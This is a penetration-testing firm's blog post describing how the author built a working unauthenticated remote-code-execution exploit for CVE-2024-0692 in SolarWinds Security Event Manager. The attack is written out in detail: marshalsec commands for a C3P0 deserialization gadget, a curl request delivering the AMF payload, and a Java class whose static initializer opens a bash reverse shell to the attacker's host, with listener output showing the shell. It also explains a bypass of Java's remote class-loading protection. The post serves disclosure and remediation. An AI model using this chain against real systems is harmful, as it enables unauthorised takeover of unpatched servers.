The Difference Between Finding and Proving
That's what the vulnerability scanner said. A Nuclei template fired, an error message came back, and for some the job would have been done. Finding documented, report sent, move on.
Except that's not how attackers think. And it's not how we at Sprocket Security think either.
During a recent continuous penetration testing engagement, I encountered a SolarWinds Security Event Manager instance flagged as vulnerable to CVE-2024-0692, a critical AMF deserialization flaw with an 9.3 CVSSv4 score. The vulnerability has been public since March 2024. The Nuclei template confirmed it existed. But when I went looking for a working proof-of-concept to demonstrate real impact?
Nothing. Over a year after disclosure, and as is often the case with vulnerabilities that remain theoretical, nobody had published working exploit code.
But I thought, “This isn't continuous vulnerability scanning. It's continuous penetration testing”.
So I built one.
Why Bother? The Scanner Already Found It
Well, the answer is two-fold.

At the time of this writing, I'm still pretty new here. When you join a team with the reputation Sprocket has built, you want to prove you belong. Developing a working exploit for a vuln that's been public for more than a year felt like a reasonable way to introduce myself. That’s the selfish reason.
However, the more important reason is the uncomfortable truth about vulnerability scanners: they're really good at finding things that might be problems. They're terrible at proving those problems actually matter.
CVE-2024-0692 is a perfect example. The vulnerability exists because SolarWinds Security Event Manager uses Apache Flex BlazeDS with an overly permissive deserialization validator which is literally configured to allow any class:
<validators>
<validator class="flex.messaging.validators.ClassDeserializationValidator">
<properties>
<allow-classes>
<class name=".*"/>
</allow-classes>
</properties>
</validator>
</validators>The existing Nuclei template confirms this misconfiguration by triggering an error response. That proves the endpoint parses AMF data. It doesn't prove an attacker can actually do anything with it.
In a traditional time-boxed pentest, this is where the story ends. You've got a Critical finding, a CVE reference, and a recommendation to patch. Everyone's happy (maybe?).
But the question we’re answering shouldn't be "is this vulnerable?" It should be "what can an attacker actually do with this?" And answering that question takes time; time that traditional, “time-boxed”, engagements don't provide.
Credit Where Credit Is Due
Before diving in, credit where it's due: the only meaningful technical analysis I found came from security researcher X1r0z, whose detailed writeup described the vulnerability mechanics and proposed theoretical exploitation paths. That research was invaluable for understanding what was vulnerable and why.
But theory and practice are different animals. X1r0z's writeup described approaches involving HikariCP JNDI injection chains and H2 database exploitation, techniques that required specific libraries I couldn't confirm were present on our target. I needed to validate what would actually work in the wild without any prior access to the target host or software.
Arctic Wolf's advisory from March 2024 noted they hadn't "observed any instances of this vulnerability being exploited in the wild, nor [were] aware of any Proof of Concept (PoC) exploits being published." Over a year later, from everything I could find, that was still true.
Time to change that.
The Hunt for a Working Gadget Chain
Java deserialization exploitation is essentially a puzzle: you need to find classes already on the target's classpath that, when deserialized in a specific arrangement, chain together to achieve code execution. Think of it as building a Rube Goldberg machine out of existing code where you don't write anything new, you just arrange what's already there in dangerous ways.
Attempt #1: LDAP + Remote Class Loading
The classic approach. Send a serialized object that triggers a JNDI lookup to an attacker-controlled LDAP server, which responds with a reference pointing to a malicious class hosted on our HTTP server. Target downloads the class, instantiates it, boom - you’ve got code execution.
I used marshalsec to generate a Spring PropertyPathFactory gadget:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.BlazeDSAMF3 SpringPropertyPathFactory "ldap://SprocketIP:1389/Basic/Command/id"The LDAP callback hit our server immediately. Exciting! But then...nothing. The target received our LDAP response pointing to a remote class URL, and refused to load it.
Doing some digging, I found that modern Java (8u191+) sets trustURLCodebase=false by default, blocking LDAP/RMI from loading classes from remote URLs. The target was running a sufficiently recent JVM.
Attempt #2: BeanFactory Bypasses
When trustURLCodebase blocks remote class loading, the standard pivot is BeanFactory bypasses - techniques that use classes already on the target to achieve execution. Common bypasses include:
Bypass | Required Class | What It Does |
|---|---|---|
TomcatBypass |
| Expression Language evaluation |
SnakeYaml |
| YAML deserialization chain |
BeanShell |
| Script interpretation |
So, I tested each one. None worked because the required libraries simply weren't present on the SEM classpath.
The Breakthrough: C3P0
Then I found this article which led me to try C3P0.
C3P0 is a database connection pooling library commonly bundled with enterprise Java applications. Its WrapperConnectionPoolDataSource class has a property called userOverridesAsString that accepts a hex-encoded serialized Java object. When set, C3P0 deserializes that embedded object using its own classloading code - a code path that predates the trustURLCodebase security fix.
Here's why this matters:
LDAP Approach (BLOCKED): LDAP Response > JVM JNDI Client > URLClassLoader > trustURLCodebase check > BLOCKED
C3P0 Approach (BYPASSES CHECK): AMF Payload > BlazeDS > C3P0 Deserialize > Internal Reference Resolution > C3P0's ReferenceIndirector > NO trustURLCodebase check > Class loaded from HTTPC3P0's ReferenceIndirector handles JNDI resolution internally using its own mechanism that was never updated with the security check. The bypass is literally baked into the library itself.
So, I generated the payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.BlazeDSAMF3 C3P0WrapperConnPool "<http://SprocketIP:8080/>" "Pwned"Wrapped it in a proper AMF envelope and sent it to the target:
curl -sk -X POST "<https://target:8443/services/messagebroker/streamingamf>" -H "Content-Type: application/x-amf" --data-binary @exploit.binAnd on our HTTP server:
10.x.x.x - - [DATE] "GET /Pwned.class HTTP/1.1" 404 -The target was reaching out to download our class. The 404 was because we hadn't created
From Callback to Shell
Getting a callback is satisfying. But getting a shell is the point.
I created a malicious Java class with a reverse shell in its static initializer:
public class Pwned {
static {
try {
String[] cmd = {"/bin/bash", "-c",
"bash -i >& /dev/tcp/SprocketIP/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}One critical detail is that the class had to be compiled with Java 8 compatibility flags. The target JVM wouldn't load classes compiled for newer bytecode versions:
javac -source 8 -target 8 Pwned.javaI hosted the class, set up a netcat listener, and fired the exploit again:
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.x.x.x
bash-4.2$ whoami
solarwindsUnauthenticated remote code execution, running as the SolarWinds service account.
Remediation
If you're running an affected version of SolarWinds Security Event Manager we strongly recommend that you update to version 2023.4.1 or later.
Why This Matters: The Continuous Pentesting Model
Here's what made this possible: time.
Traditional penetration tests are time-boxed engagements. You've got a week, maybe two, to cover an entire environment. When you hit a vulnerability like CVE-2024-0692, you document the scanner finding, note that it's Critical, recommend patching, and move on. There's little to no time to investigate whether exploitation is actually feasible.
That approach made sense when security testing was an annual checkbox. It doesn't make sense anymore.
Sprocket's continuous penetration testing model fundamentally changes the economics. We're not racing against an arbitrary deadline - we're providing persistent coverage of our clients' environments. When we encounter an interesting vulnerability, we can actually investigate it. We can spend the hours required to understand whether a theoretical risk translates to practical impact.
This exploit took more hours of dedicated research and testing to develop than I would have typically had in traditional pentesting outfits. With continuous testing, that investment isn't a budget-busting deviation from scope. It's just Tuesday (and maybe Wednesday too if I’m being honest).
This engagement is a perfect example:
- Scanner result: "CVE-2024-0692 detected"
- Traditional pentest deliverable: Critical finding, patch recommendation
- Continuous pentest deliverable: Working exploit demonstrating unauthenticated RCE, complete attack chain documentation, specific remediation guidance
The difference isn't just academic. It's the difference between "you should probably patch this" and "here's exactly what an attacker can do to your SolarWinds infrastructure right now."
References
- NVD - CVE-2024-0692
- SolarWinds Security Advisory
- X1r0z Technical Analysis (exp10it.io)
- Arctic Wolf Advisory
- marshalsec - Java Unmarshaller Security
- https://github.com/machevalia/CVE-2024-0692-SolarWinds-SEM-RCE